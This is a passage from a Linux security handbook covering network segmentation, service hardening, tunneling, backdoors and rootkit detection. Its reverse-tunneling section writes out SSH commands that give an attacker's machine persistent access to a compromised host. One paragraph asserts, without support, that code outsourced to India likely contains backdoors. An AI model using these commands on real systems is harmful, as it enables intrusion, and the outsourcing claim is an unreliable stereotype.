NETWORK ARCHITECTURE While you can purchase an infinite number and variety of security devices and software to secure a network, all software and devices are prone to failure (false positives and negatives) and none are as beneficial as creating a secure network architecture as a foundation. Security must be engineered into the design from the beginning and not simply bolted on later.
Weak Network Architecture Popularity:
9
Simplicity:
7
Impact:
8
Risk Rating:
8
Weak network architecture (both internal and external) leads not only to the ability to compromise additional hosts, once an external host has been compromised, but also to undesirable internal snooping by malicious insiders. Creating secure network architecture is often underemphasized and overlooked. There is far too much emphasis on perimeter firewalls and not enough focus on what is behind them.
99
100
Hacking Exposed Linux: Linux Security Secrets & Solutions
Figure 5-3 Traditional network topology
Take a look at most of the network models taught in networking schools. They are usually quite simplistic. Figure 5-3 shows a common division into two separate networks, consisting of a DMZ and an internal network. Notice that once attackers compromise one of the external facing machines, they have elevated access to other machines on the DMZ, as all ports are open to adjacent servers, not just those accessible from the Internet. Furthermore, all internal workstations are on one big happy LAN, where one host can access all other internal hosts and possibly gain access through admin shares, unpatched network services, inadequately restricted file shares, or other means. Some organizations take network architecture one step further, as shown in Figure 5-4, and create an internal server VLAN, which enhances the ability to monitor server traffic but does little to enhance overall network security in and of itself. This mostly flat architecture still allows all workstations to access all ports on other workstations and usually on all internal servers. This is a classic eggshell architecture—
Chapter 5:
Data Networks Security
Figure 5-4 Enhanced traditional topology
hard on the outside and soft on the inside. It works well enough if you’re only concerned about external threats. However, in today’s environment, attacks come from outside and inside. If not under external threat, then the network is likely under assault from disgruntled or mischievous employees. If the employees are not deliberately causing trouble, they are usually doing it unintentionally through some sort of careless behavior, such as inadvertently downloading and executing malware.
Secure Network Architecture Regardless of the reason for an attack (intentional or unintentional), modern networks face too many concerns to not implement security against internal threats as well as external threats. Fortunately, creating a hardened network topology can often be done using existing equipment and a little imagination. The configuration of network architecture is very likely the most powerful access control available. Modern switches make creating a secure architecture quite simple. Since the intent is to provide only access that is absolutely necessary, preventing unrelated users from interacting with each other on the network is important.
101
102
Hacking Exposed Linux: Linux Security Secrets & Solutions
For instance, a workstation in Sales should not need to connect to a workstation in HR or to a workstation in any other VLAN for that matter. The only reason for doing so would be for some sort of deliberate attack or if malware accidentally got loose on the network. In either case, the traffic is undesirable and ought to be blocked. Moreover, if inter-VLAN routing is denied, malicious application outbreaks can be contained within a single department. They can also be restricted from attacking servers by providing access only to the ports on the respective server that are absolutely needed for their intended use. Note that the configuration shown in Figure 5-5 does not protect workstations on the same VLAN as the compromised machine. It is not feasible to set up a VLAN for each individual computer on the network; the administration and overhead would be unmanageable. For this reason and for greater security, the best course of action is to install and configure a host-based firewall on each local machine or utilize a technology such as Cisco NAC. Either of these methods could essentially eliminate workstation-toworkstation traffic and thwart most avenues for internal host exploitation.
Figure 5-5 Secure network topology
Chapter 5:
Data Networks Security
Compromising Extraneous Services Popularity:
8
Simplicity:
5
Impact: Risk Rating:
10 8
The more doors and windows a house contains, the more likely a burglar can find one open; the more network listening services running on a system, the more likely attackers can find a vulnerable one. Furthermore, some services (or doors) are more easily exploitable than others, whereas other services (or windows) have more transparent traffic that facilitates snooping more easily than others. This is particularly true for Unix/Linux systems, as they are often installed, configured, and left running unattended and unmanaged for extended periods of time. They are highly reliable, not as prone to memory leaks as Windows systems, and are quite often forgotten about. As such, minimizing the services that are running is absolutely critical for lowering the attack profile and reducing the likelihood that a system can be compromised, especially through an unnecessary service.
Removing Unnecessary Services To reduce the avenues of possible exploitation available to attackers, the best methodology is to shut down any and all unrequired network services. This pertains not only to daemons that run on startup from init.d, but also to processes spawned as a result of a connection to inetd or xinetd. Entirely too many services and network listeners are enabled by default on all operating systems, not just in Linux. However, Linux certainly has its fair share. On a default install (excluding patches), some services are very likely to have critical vulnerabilities that could allow the system to be exploited right out of the box. While patching is obviously a good strategy, it is only a matter of time before the next critical vulnerability is detected and the service is once again considered vulnerable. Therefore, if it is not needed, remove it. Not only does this action simplify future patching endeavors and dramatically improve security through providing defense-in-depth, it can free up system resources. Beyond disabling, however, you should completely remove all components of unnecessary services from the system. This is because the dormant services, or their components or libraries, could possibly be used for privilege escalation or for granting further access if a box is partially compromised and attackers are hunting for tools. In order to identify listening ports and running processes that can be disabled, utilities like ps and netstat are useful. Try the following examples.
103
104
Hacking Exposed Linux: Linux Security Secrets & Solutions
The following command lists all processes for all users: mail:~ # ps aux
The following command lists all open ports and associated processes: mail:~ # netstat -anp
Once unnecessary services or open ports have been identified (and verified), they can usually be disabled by removing links to their startup script in the inittab or removing their entry in inetd or xinetd. This will prevent them from being re-spawned when the system is rebooted. Once sufficient time has passed to verify that they are truly unneeded, the services should be uninstalled from the system. Delete their respective files (in cases where they were installed using source code) or use the rpm –e package_name command (in cases where they were installed via the rpm command). These are obviously not the only two options, as different Linux distributions have various package managers and ways of adding and removing software.
Reducing Attack Profile In the process of hardening systems, you want to reduce the attack profile as much as possible, by whatever means possible. You can do this either by removing or disabling services or by denying access to them in the event they cannot be removed or disabled. TCP Wrappers TCP Wrappers is a network access control measure that can grant or deny TCP, UDP, and some ICMP connections to particular services. It works by tying in with the services that are run by inetd or xinetd. TCP Wrappers can be used to extend the functionality of inetd or xinetd to provide support and control for every server daemon under their respective purviews. This support could include logging, welcome messages, and spawning of other processes (among other things), in addition to the traditional firewall-like controls. Essentially, TCP Wrappers operates like a rudimentary firewall but has a few extra enhancements, as it is attuned to respective service and the service control manager. It is important to mention, however, that this tool is not a replacement for a firewall, but just another cog in the wheel of defense-in-depth. It operates through the use of two configuration files (hosts.allow and hosts.deny). The hosts.allow file is used to grant access to a particular host and service, whereas the host.deny is used for the opposite. Take a look at the following example: sshd : .hacker.com \ : twist /bin/echo "421 Bad hacker, go away!"
Chapter 5:
Data Networks Security
If placed in the hosts.deny file, the above example can be used to deny access to sshd from the hacker.com domain and send the friendly message “Bad hacker, go away!” sshd : .goodguy.com \ : twist /bin/echo "421 Welcome, Would you like some coffee?"
If placed in the host.allow file, the above example can be used to allow access from the goodguy.com website and display an even friendlier message. Application Firewalls Fortunately, a number of different application firewalls are included with and available for modern Linux distributions. Some are designed to provide access controls between any remote host and any network-enabled application on the system. IPTables (or NetFilter) is probably the most commonly used and one of the most configurable. It is included by default with most Linux distributions and provides a robust feature set. Not only does it provide stateful traffic inspection, but also it provides enhance protections through a host of extensions that can be customized, such as mentioned in “Fingerprint Scrambling,” earlier in this chapter. Other firewalls are embedded in specific applications and provide access controls on the ports with which they communicate. ModSecurity is a perfect example of an embedded application firewall. It is a module in Apache that provides a wide variety of functions customized for web traffic, such as intrusion prevention, event correlation, anomaly detection, and so on. Probably the best advice to give regarding any of the various application firewalls is to use them where they are appropriate as part of a defense-in-depth architecture. They should not be the entire basis for defense, but used as part of a comprehensive, secure design utilizing multiple layers of defense. They should be configured using the same methodology of least privilege as discussed thus far. Specifically, only provide exactly the ingress and egress access needed. Don’t stop at allowing access only to those ports desired. Just as with TCP Wrappers, use application firewalls for limiting, if possible, access to open ports. For instance, if a server is sitting directly on the Internet, there is absolutely no reason for everyone on the Internet to have the ability to attempt to make SSH connections to it. This just invites brute-force attacks and potentially worse if a vulnerability is identified against the installed version of SSH. Furthermore, critical internal servers should also be protected using an application firewall, and you should restrict access to only designated ports from intended sources. This approach may be overkill in some environments and can lead to a lot more firewall configurations, setup, and maintenance overhead. However, the upside is that servers utilizing application firewalls are much less likely to suffer a compromise. Therefore, incident response and possible server redeployment time will be minimized.
105
106
Hacking Exposed Linux: Linux Security Secrets & Solutions
Unfortunately, regardless of the type or configuration of the particular application firewall, they are still just another application. As with other kinds of applications, application firewalls are best protected behind a physical firewall. It is undoubtedly true that sooner rather than later a critical vulnerability will be found for an application firewall that will render it useless—or worse—allow privileged access to the host machine. When choosing a firewall option, make sure it can help you react to the most various attack situations you have experience with and can think of, for instance, brute-force against services, port scanning, multiple connection attempts without valid data, or multiple valid connection attempts from a single source. Port Knocking Port knocking is a term that refers to a particular application responding to a series of connection attempts to closed ports. This process triggers previously closed ports to accept communications from the sender following the port knocking sequence. This is reminiscent of some kind of elfin technology but has very practical, real-world security uses. This monitoring application could operate in a variety of ways. The two most likely are as follows: • The first methodology is for it to continually monitor the firewall logs looking for evidence of a particular port sequence to be knocked. Once the proper sequence in the specified period of time is received, the application could either make a quick firewall rule configuration change (to allow TCP communication) or sniff the network and collect data from a UDP transmission from the sender. • The second methodology is for the monitoring application to just sniff all traffic on the network looking for the particular knocking sequence. Once that sequence is detected, it would once again use either a firewall rule change or a UDP transmission for actually receiving the data. Depending upon how it is used, port knocking can be either beneficial or detrimental. If it is an intentional, covert authentication measure, it can be an important part of a defense-in-depth architecture. If it is part of some kind of backdoor and its existence is suspected, it can be very difficult to ferret out. This is mainly because a process is not always bound to a suspicious port. By understanding how port knocking applications work (monitoring log files or sniffing network traffic), identifying one on an infected system, if it is used maliciously, will be evident. The website http:// www.portknocking.org is a great resource for more information on this particular topic. They have information as well as Perl scripts available for download.
Chapter 5:
Data Networks Security
COVERT COMMUNICATIONS AND CLANDESTINE ADMINISTRATION Stepping the game of security up a couple notches, if a system becomes compromised or if malicious parties are determined to operate under a cloak of secrecy, there are many ways of doing such. Obscure network communications protocol specifications and operating system flaws lend themselves to disguising activity through clever manipulations of their features or vulnerabilities.
To combat the effectiveness of egress firewalls and circumvent network access controls, quite a few tunneling methods have been created to encapsulate one protocol in another. Three main types are worth mentioning along with a few examples of commonly found utilities that can perform tunneling: • TCP tunneling: Stunnel, TCP Tunnel, Tor, SSH, WinTunnel, Sixtynine, Zebedee • UDP tunneling: SSH, NetCallback, CIPE, Tunnel, Zebedee • ICMP tunneling: Ptunnel, Itun, Itunnel, Skeeve, icmptx All three methods can be used to wrap one form of communication inside another, as in covert file transfer, covert communication, online gaming, and so on. They are generally used to pass restricted, or prohibited, traffic through a firewall undetected or through a nondefault, but unblocked, port or protocol. For instance, if specific ports are blocked for online gaming due to a particular security policy and posture, but several common web protocols (HTTP, HTTPS, and FTP) are allowed, employees could set up a tunneling server on the outside that uses the allowed ports and forward them to the appropriate ports on the gaming server. If several tunneling servers are required, such as one on both the inside and outside to perform double translation of ports, they can be daisy-chained together. Theoretically, this can be done as many times as necessary, but too many translations introduces additional latency.
107
108
Hacking Exposed Linux: Linux Security Secrets & Solutions
An even cooler trick is to use ICMP tunneling to send data. To some people’s surprise, you can take a file and transfer it over ICMP. It chunks up the data from the file and places it into the ICMP data section of the packet. As most places allow outbound ICMP traffic, most anything can be sent outbound. You are really only limited by the speed of the chunking process and delivery over ICMP, which is pretty slow.
Detecting and Preventing Tunneling Optimally, a comprehensive detection scheme should involve several detection methodologies for greater robustness and reliability. No single detection methodology can hope to be successful in identifying malicious or covert communication on a consistent basis. Following are the three detection methodologies: • Signature-based detection If the type of traffic being looked for is known, a signature-based detection methodology could be useful. Many common intrusion detection rules would help to identify any kind of malfeasance that took place over the tunnel, providing it is not encrypted or it has a signature. • Protocol-based detection Using a protocol-based detection methodology entails searching network communication streams for protocol violations or anomalies. However, any form of a protocol-based detection scheme needs to consider protocol state variations between different operating systems and distributions. • Behavioral-based detection The behavioral-based detection methodology involves creating profiles for users and machines that can be used as reference and comparison points for performing network stream analysis. These profiles can either be created automatically through some sort of learning process or specified manually. Keep in mind that different detection methodologies may discover the same kind of communication for similar, but slightly different, reasons. For instance, ICMP tunnels could be detected by all three detection methodologies. A signature-based detection methodology could identify ICMP tunneling by using a signature to identify nondefault data in an ICMP packet. A protocol-based detection methodology could identify it by observing nondefault data contained in the payload. A behavioral-based detection methodology would detect it by noting that uncommon, nonprofiled data is included in the data portion of ICMP. To prevent tunneling, an intelligent firewall, proxy, or IPS is required. A device that could be used successfully must ideally be inline with the traffic and use one or more of the three detection methodologies just mentioned.
Reverse tunneling is another popular method for circumventing firewalls, but unlike the tunnels discussed earlier, it allows inbound access that can allow attackers to connect to a machine behind the firewall. It works by using SSH (or some other protocol, usually encrypted) to shovel a shell to a remote machine. This methodology is most often employed by attackers who have successfully compromised a machine and desire to set up an alternative, easier way to reenter the box. The following command line can be used to create a reverse tunnel to an attacker’s machine on the Internet: root@owned_machine# ssh -R 1337:localhost:22 root@attacker_machine
This creates a connection from owned_machine to attacker_machine and causes attacker_machine to listen on port 1337. When the attacker connects from attacker_ machine to the localhost 1337, it will actually be opening up an SSH connection to owned_machine. This assumes attackers only want to be one step away, which is unlikely. A more realistic scenario would be for attackers to use attacker_machine as a jumping point and connect from elsewhere on the Internet. To facilitate this, they need to make some additional configurations to attacker_machine. Since tunneled ports will often only accept a connection from the localhost, they create another tunnel on attacker_ machine that points from a port on itself that will receive external connections to 1337. The following is an example: root@attacker_machine# ssh -L 31337:localhost:1337 -f -N -g root@attacker_machine
This creates a local tunnel between 1337 and 31337. When attackers connect from somewhere on the Internet to 31337 on attacker_machine, they will actually be logging into owned_machine. One thing to note, however, is that the connection on owned_machine will quickly time out if the sshd_config file is not modified as follows: TCPKeepAlive yes ClientAliveInterval 30 ClientAliveCountMax 99999
109
110
Hacking Exposed Linux: Linux Security Secrets & Solutions
Even though SSH is probably the most stable way to create a reverse tunnel, Netcat is still the easiest way to create a reverse tunnel and shovel a shell if encryption is not an issue, in which case Cryptcat could be used. Regardless, these are probably the two best and easiest tools to keep in your toolbox to perform this function.
Detecting and Preventing Reverse Tunneling To detect and prevent reverse tunneling, all of the same principles apply as in detecting tunneling, but you are hampered significantly by the likelihood that encryption is being employed. Keep in mind that reverse tunneling could go across any port and may look like encrypted web traffic if sent across port 80. The only way to really be sure that reverse tunneling is not taking place is to implement an SSL proxy and not allow any encrypted traffic to egress the network that does not traverse the SSL proxy. In this way, all encrypted traffic is either decrypted and available to be inspected or blocked in cases where it is not legitimate SSL traffic.
There is a little known specification in the TCP/IP protocol that almost appears to have been intended to allow backdoor access through firewalls. Even if no open ports or port address translation rules are on an Internet firewall, traffic originating from the Internet can pass through to internal hosts—even if the only rule that is configured on a firewall is “deny all any any.” A TCP/IP replacement protocol, Steelcape (http:// www.steelcape.com), takes advantage of this obscure specification. More specifically, all TCP/IP-compliant firewalls have hidden features that allow an internal host to advertise to the firewall that the host is looking for a particular type of packet and to forward such packets to the host if they match that description (in this case the packet must have the correct source address, destination address, 48-bit digital signature, which changes every 10 minutes like an RSA key, and 128-bit UUID). As such, Steelcape is a highly secure, efficient, and clever replacement for TCP/IP that is treated like TCP/IP by network devices, with the exception that it already includes authentication and encryption. Additionally, it can be 30–40 percent faster than TCP/IP and has the ability to traverse firewalls having no open ports using an obscure specification of the TCP/IP protocol. In a nutshell, it combines stealth, security, and speed. It essentially provides a covert VPN to any host behind a firewall, providing the agent is installed somehow on the host and the host can get to the Internet. The big question is, however, what else takes advantage of this obscure TCP/IP specification? Furthermore, anything that does currently take advantage of this is probably best described as a backdoor.
Chapter 5:
Data Networks Security
Backdoors Popularity:
10
Simplicity:
5
Impact: Risk Rating:
10 8
Little else strikes more fear into the heart of administrators than the thought of a backdoor existing on one of their systems. A backdoor can be very damaging, especially in situations where regulatory compliance is involved. Backdoors are usually thought of as tools that are left by attackers after they compromise a system. These tools then enable them to more easily obtain access the next time they want into the system in the event they inadvertently lock themselves out. It is important to mention, especially in this day and age when source code for operating systems and applications is made all over the world and cannot pragmatically be sufficiently reviewed to rule out the possibility of backdoors, that even legitimate, verified, default installs of operating systems and applications could, in fact, contain embedded backdoors coded by the original developers. This is especially likely when companies in a country such as the United States outsource their code development to companies in countries like India. It is not only possible, but likely, that received code may contain backdoor functionality, probably distributed widely throughout the code to make it less noticeable upon source code review.
Detecting and Mitigating Backdoors The first step in detecting a backdoor is to determine which processes should be running and which ports should be listening on your system. This can be obtained from the gold image baseline. Armed with that information, compare the data against the output of netstat and lsof. However, you must ensure that the baseline you are using to compare was captured on a pristine (uncompromised) system. If you suspect a backdoor, start a packet capture of all packets going to and from the respective system. This will help to identify activity on the system and may assist in determining the existence of a backdoor and how it is being used. The following commands can be used to enumerate open ports on the system, as well as match them to corresponding PIDs. Note that the scope is limited exclusively to the installed backdoor; in this case, netcat. For netstat: mail:~ # netstat -anp|grep 1337 tcp 0 0 0.0.0.0:1337
Hacking Exposed Linux: Linux Security Secrets & Solutions
The netcat example is quite easy to detect. Just about anytime netcat is listening on a port, it is not good. Often, backdoors are quite a bit more difficult to detect, particularly if you don’t have adequate documentation about what should be running, listening, and loaded on your system. If you don’t have metrics regarding what should be running on a system, you’ll need a more intensive backdoor detection method. Unless backdoors are hidden, as in a rootkit, they are definitely detectible. Depending on the methodology, you may have to spend a lot of time figuring out how they work. If a backdoor is detected on a system, complete the entire file integrity checking process to determine which files are associated with the backdoor (including the files used to make it start or listen on boot). Fortunately, there are tools and methodologies that may assist in this pursuit. A best-case scenario would involve a situation where system administrators have comprehensive gold image baselines and documentation regarding the systems configuration in a pristine state. Using this as a starting point, they can easily identify what has changed on a system and begin an investigation from that point forward. If there are no baseline images, then the first step is to identify (possibly through NSRL or Bit9 hash sets) the files that are known good and known bad. This will limit the scope of files that need to be analyzed, but it requires substantially more work than starting with comprehensive baselines. Once you’ve acquired information about a backdoor, such as the port that it listens on, note each artifact and use it as a tool to get more information. For instance, if a backdoor listens on port 1337, you can identify the process associated with that port, as shown in the previous example with netstat and lsof. Furthermore, once you’ve identified processes, follow the chain between parent and child processes, as well as the associated users, until you can determine the root causes (users, processes, attack vectors, binaries, and so on) of events. Once you know the name of the process that bound to the port, you can use lsof without any flags to find files that the particular process has open. This could be especially helpful in instances where a backdoor also performs some kind of logging—as in the case of a key logger. Next, you can possibly locate the config file for a backdoor by doing a grep search for any file that contains 1337 or other identifiable strings. Once you find one of the files from a backdoor, you’ll most likely find the remaining files in the same location. Using forensic utilities in this effort can be especially helpful since these utilities include advanced searching capabilities that can simplify and speed up searches. Performing grep searches and organizing the results manually, without the help of forensic utilities, can be very labor intensive. Performing string searches on binary files known to be associated with a backdoor can also yield valuable data. These searches commonly turn up the IP addresses of remote attackers, bragging info from attackers, possible configuration options, dependency file info, and so on. Quite a bit of useful data is written in ASCII and contained in binary files, but much of it may not be in plain text.
Chapter 5:
Data Networks Security
To find the dependencies associated with a backdoor, consider using ldd to determine any libraries it uses. This is especially helpful if some libraries were modified upon installation of a backdoor. Of course, using a single utility like strace can uncover almost all of the data about how a backdoor operates. This will undoubtedly tell you more than you need to know about how the application functions, but you can then utilize that information to determine how to best use, modify, or disable it.
Rootkits Popularity:
7
Simplicity:
9
Impact: Risk Rating:
10 9
Perhaps the only thing worse than a backdoor is a hidden backdoor. For years, a steady evolution of malicious applications for UNIX systems has occurred. Rootkits consist of an advanced compilation of various malicious applications and combine many of their most useful features into a tidy package or kit. Rootkit is actually a very descriptive name for this kind of software package. It assists attackers in maintaining root privileges. Rootkits originated in UNIX systems and were quickly ported to other nix variants. Since then, rootkits have become ubiquitous and have been created for other types of systems, such as Windows. Linux rootkits can now be implemented in various ways, from modifying binaries and libraries to intercepting syscalls to installing kernel modules. Detecting them requires an in-depth understanding of how they operate and a sound detection methodology. Armed with this knowledge you then know where and how to look. Depending on the type of rootkit and the hiding methods it employs, performing detection and mitigation can incorporate a combination of skill sets, including advanced systems administration, computer forensics, computer programming, and reverse engineering. This is certainly not a task for the light-hearted or easily discouraged.
File Replacement Rootkits (User Mode) The early Linux rootkits consisted mainly of a collection of modified, backdoored system binaries that could be deployed to a compromised system. They were modified to ignore the presence of attackers and the files, folders, processes, and ports used by them. They also usually contained a backdoor that allowed attackers easy access back into the system in the event the original attack vector was no longer viable. These rootkits are called usermode or user-land rootkits.
113
114
Hacking Exposed Linux: Linux Security Secrets & Solutions
A good example of a Linux user-mode rootkit is Linux Rootkit 5 (LRK5). Files replaced with trojaned versions include: • chfn • chsh • crontab • du • find • ifconfig • inetd • killall • login • ls • netstat • passwd • pidof • ps • rshd • sshd • su • syslogd • tcpd • top In addition to these files, LRK5 also comes with a few other files, but they do not replace existing files on the system. They are mainly support files that assist in the operation of the above listed files or that aid in hiding attackers’ activities.
Syscall Hooking/Wrapping Rootkits (Kernel Mode) Syscall hooking is a slightly more clever user-mode rootkit methodology that alters the signal handling of syscalls to modify the way programs operate. This methodology takes advantage of the fact that an application’s behavior can be altered by changing the default action taken by a process when a signal is delivered. There are various methodologies for performing this, but they all have the same end result: Call function x that returns function y. One of the newer methodologies is detailed in a whitepaper by “Pluf” entitled “Linux Per-Process Syscall Hooking” (http://www.s21sec.com/descargas/linuxhooking.pdf). This method involves placing hooks in the syscall wrappers code of glibc (as a means of trapping the syscall) to modify the signal handling of the specific syscall wrappers. It is
Chapter 5:
Data Networks Security
coded in assembly, which means it is as small and fast as possible. The code needs to be capable of the following: • Utilizing the ptrace interface on Linux and coping or “injecting” itself to the target process • Avoiding ASLR or similar mechanisms • Accessing a disassembler engine • Performing symbol resolution • Implementing symbol hot-patching routines • Accessing a sigtrap handler able to dispatch syscall requests • Error handling in the event of a crash This particular methodology (as detailed by “Pluf”) is fairly new and the proof of concept (POC) has only been out a couple of months (at the time of this writing). Few rootkits in the public arena take advantage of it, but expect to see much more in the future after the bugs are worked out of the POC. Other forms of syscall hooking have been available for some time, however, and there are many examples of loadable kernel modules that change the way certain system calls are handled by the Linux kernel. Loadable kernel modules are commonplace in Linux and provide most of the driver functionality for the various devices installed on systems. Whenever a new piece of hardware is installed, Linux will load a kernel module for the particular hardware from the kernel itself, if it has one, or the user is forced to load it using insmod or some kind of setup file. This works as long as the module being loaded for an ordinary device, like a SCSI card or a network adapter, is trusted. If a driver is downloaded from a dubious site on the Internet, unforeseen and unpredictable problems can surface. Some of the more well-known examples of Linux kernel mode rootkits are (in order of popularity, from top to bottom): • Adore A command-line-based loadable kernel module rootkit supporting Linux kernels 2.2, 2.4, and 2.6, and providing the following functionalities: • Hide a file • Execute a process as root • Hide a PID • Hide a PID forever • Hide Adore module • Kernel Intrusion System (KIS) A very slick loadable kernel module rootkit providing all of the functionality of Adore but operated from a very sophisticated GUI and with additional built-in administrative functionality. • SucKIT A fully functional rootkit that does not require loadable kernel module support. It is loaded through /dev/kmem and is capable of hiding
115
116
Hacking Exposed Linux: Linux Security Secrets & Solutions
processes, files, and connections. It also includes firewall bypass and connectback functionality.
Rootkit Detection and Mitigation Techniques Detecting and mitigating rootkits requires determining how they work, ascertaining which files are involved, and determining how to remove those files. It can be a timeintensive process. However, you can simplify the process somewhat if you employ the right methodology. Using the right methodology begins before a compromise happens, not after. Results cannot be trusted if they are based solely on analysis after a compromise. The best way to ferret out a rootkit is to get beneath it. If the rootkit is beneath the analysis tools, it will misinform the tools and give incomplete or inaccurate information. Getting beneath it by using advanced incident response and forensic methodologies gives a better view of what is happening on the system. Regardless of the type of rootkit, all rootkits have files and leave some sort of detectible evidence. All that needs to be done is to find the rootkit. To ensure proper detection of all compromised or modified files, start with a gold image baseline, as discussed in Chapter 4, and compare the baseline with the current system state. A good baseline consists of an accurate depiction of the system in a clean state (created before the machine was placed in service or after patches were last applied to the machine in its most recent clean state). Various host integrity software programs work well for this purpose and several computer forensic programs work even better. The benefit of using a computer forensic program to build hash sets ahead of time is revealed when an actual incident occurs. Everything is available to respond to the incident in the investigative environment. Computer forensic programs, particularly enterprise computer forensic programs, also include enhanced abilities for profiling systems and have file viewing, searching, and analysis tools that assist in a response— even on live systems. When using any of these applications, you are essentially looking for any suspicious changes to the system. These changes could be new modules, unauthorized processes, modified system files, and so on. System file changes could be identified in various ways, including hash value differences, modified permissions, and/or changes to various flags, such as the immutable flag.
Preparing the Toolkit To be prepared to respond to rootkit infections, you need several items. Different rootkits require different response techniques and warrant different response tools. The following are some standard items that should be in every toolkit: • Statically compiled binaries • Packet capture software • Port scanning software
Chapter 5:
Data Networks Security
• Incident response/forensics boot disk • Enterprise forensic software • Rootkit detection software Obviously not all of these items are required, but they will all help. All of the data from your gold image baseline, as specified previously, should also be in the toolkit. Ensure ahead of time that the gold image data is maintained, uncompromised, and contains all of the latest data from the system. The most difficult part is having a current gold image baseline. It generally takes a significant investment of time to keep these maintained and requires a commensurate amount of management to ensure that it happens. If a current image is not available, it is too late to prepare. At this point, to track down the rootkit, you may have to rely on one of the various downloadable rootkit detection tools. These tend to have limitations, however. Statically Compiled Binaries Since user-mode Linux rootkits usually function through some kind of file substitution or library modification, it is a very good idea to have a set of precompiled binaries contained on a CD-ROM. Having these will help you gather information from a live, infected system. It is not always advisable to pull the plug on an infected system. Sometimes, however, you need to collect volatile data from the system before shutting it down for further investigation. If the system has suffered some kind of file substitution, none of the output from any of the native utilities, or those that depend on the system libraries, can be trusted. Having statically compiled binaries available allows for successful and accurate data extraction from a machine that has been compromised by a user-mode rootkit. Table 5-2 lists statically compiled binaries in a well-stocked toolkit. Depending on the situation, you may need more. Packet Capture Software For more information about the network activity of a compromised box, starting a packet capture of the machine’s activity at the very beginning of an investigation can be very enlightening. A simple TCPDump packet capture is adequate and can be imported into nearly all traffic analysis tools. Assuming the traffic was not encrypted, information can be acquired about both sides of the traffic and possibly what occurred during their connection. Also, performing a packet capture may enable you to see or reconstruct traffic that is not displayed well in netstat on a nonrooted system, such as ICMP tunnels. While not used in the majority of compromises, ICMP tunnels are used quite frequently for firewall evasion and can be hard to detect. Regardless, capturing network traffic going to or coming from the box can provide direction on where to look next. This traffic could lead back to the attackers or to other compromised systems on the network.
117
118
Hacking Exposed Linux: Linux Security Secrets & Solutions
arp
dd
free
logname
pgrep
sdiff
sum
unexpand
basename
df
gawk
ls
pinky
sed
sync
uniq
bash
diff
gcc
md5sum
pkill
seq
sysctl
unlink
cat
diff3
ginstall
mkdir
plipconfig
setuidgid t
uptime
chgrp
dir
grep
mkfifo
pmap
sha1sum
tac
users
chmod
dircolors
groups
mknod
pr
shred
tail
v
chown
dirname
head
mv
printenv
skill
tar
vdir
chroot
du
hostid
nameif
printf
slabtop
tee
vmstat
cksum
echo
hostname netcat
ps
slattach
tload
w
cmp
env
id
netstat
ptx
sleep
top
watch
comm
expand
ifconfig
nice
pwd
snice
touch
wc
cp
expr
join
nl
rarp
sort
tr
who
csplit
factor
kill
nohup
readlink
split
true
whoami
cut
false
less
od
rm
stat
tsort
yes
date
fmt
link
paste
rmdir
stty
tty
dcgen
fold
ln
pathchk
route
su
uname
Table 5-2
Useful Statically Compiled Binaries
In addition, file transfers may be occurring that give you some idea what the attackers want. The packet captures may be able to serve in some sort of evidentiary capacity. This assumes that it is acceptable to allow the traffic to proceed in an effort to collect evidence for later purposes. In most situations, companies just want to stop the bleeding and are uninterested in gathering data purely for evidentiary purposes. Law enforcement agencies are often not very quick to investigate Internet-related crimes, so gathering evidence may be a futile pursuit. Port Scanning Software Rootkits usually contain some kind of backdoor, enabling access back into the system. Subsequently, you cannot trust the netstat output when it reveals the listening port. Exceptions to this limitation include having a compiled version of netstat if the rootkit was a file substitution rootkit or if the attackers never hid the backdoor port. It is surprising how often attackers overlook basics and forget to enable the network traffic concealment options available in a rootkit. Forgetting to enable and configure all of the features of rootkits happens in a significant number of cases. Regardless of the circumstances, the extent of the rootkit at the beginning of the investigation, when you have the best opportunity to gather volatile data, is generally
Chapter 5:
Data Networks Security
not known. Therefore, it is a good practice to gather as much data as possible to alleviate fears that something might be missed that could be used later. So, if you suspect a rootkit on the system, use an external port scanner (such as Nmap) and enumerate the listening ports, both TCP and UDP, from an external view. Compare the scanner’s results with the output of the netstat command with the -na switches. If the port scanner identifies ports that are not shown in netstat output, those are likely the ports being used and hidden by the rootkit. Finding a hidden port on the system may help provide more information about the rootkit, particularly if you can connect to it, interact with it, and possibly deactivate it. However, most rootkits have the ability to protect the connection with a password. If you encounter this, try various default rootkit passwords in case the attackers never changed it. Also, like any other network logon, rootkit logons are subject to dictionary and bruteforce attacks. Incident Response/Forensics Boot Disk A fantastic number of tools and options for incident response and computer forensic boot disks are available, many of which are free and designed to analyze Linux systems. These utilities can be used for anything from performing password recovery to a full-fledged forensic analysis. Helix is a very robust example of a boot disk providing these feature sets. Once you’ve made the decision to shut down a machine, a bootable Linux IR or Forensic distro can be useful for digging into the system and determining the level of compromise that occurred. These utilities determine what files were altered and provide a way to correct any issues. While it is true that given enough time, you can locate and fix the modifications to a system, the process will be greatly simplified by preparing well ahead of time. All of the nonvolatile data pertaining to physical files and configurations, users, groups, usergroup associations, and so on, assembled in the gold image baseline, will turn out to be very handy when performing an analysis. Going through this process instead of re-imaging the drive on the affected machine can be useful for four reasons. • First, sometimes it is better to repair the system than to restore it from a backup. This is especially true in a situation where a significant amount of data loss could be avoided. • Second, backup images are often quite old and substantial system changes have been made between the time the image was created and the time the incident happened. While this is indicative of poor planning and is something that should be audited and tested, recovering the system manually is a way to fix the problem and leave the system in a better state than if it had been recovered from backup. • Third, a backup image may not be available for the system and recovering it manually is your only hope. Sadly, this situation is very common and one of the main reasons for using this kind of software.
119
120
Hacking Exposed Linux: Linux Security Secrets & Solutions
• Fourth, and by far probably the most common use of IR and forensic software, is a desire to understand what happened, how it can be mitigated, and how it can be prevented. You may also be curious to find any cool tools left behind that you can then use to be beef up your toolkit. Enterprise Forensic Software Enterprise forensic software can be of tremendous value when responding to an incident, especially a rootkit. It can search the drives and files on the compromised machine, as if the machine were physically present and being analyzed in person. Good enterprise forensic software, such as EnCase or FTK, can allow access to volatile data and even provide an ability to modify and remediate the infected system. This simplifies the process of gathering and analyzing data (especially from multiple machines) and determining the present state of the machine(s), plus it provides the option to fix the problem remotely. If the gold image baseline(s) of the compromised machine(s) were created beforehand, enterprise forensic software will enable a comparison of the current state of the machine with the data in the gold image and determine which files are compromised, which processes should not be running, which ports should not be listening, which files should not be in use, which modules should not be loaded, and so on. If any tool is going to allow surgical recovery of a machine, without performing a reinstallation or recovering from an older image, an enterprise forensic software package with remediation capabilities will do the trick. It is very important to mention that not all enterprise forensic software packages are created equally. Determine which packages have the greatest benefit for a particular distribution and server application. Each package has strengths in certain key areas and weaknesses in others. Just like any tool, bench testing should be done to see how the software performs, how it operates, and how or if it will 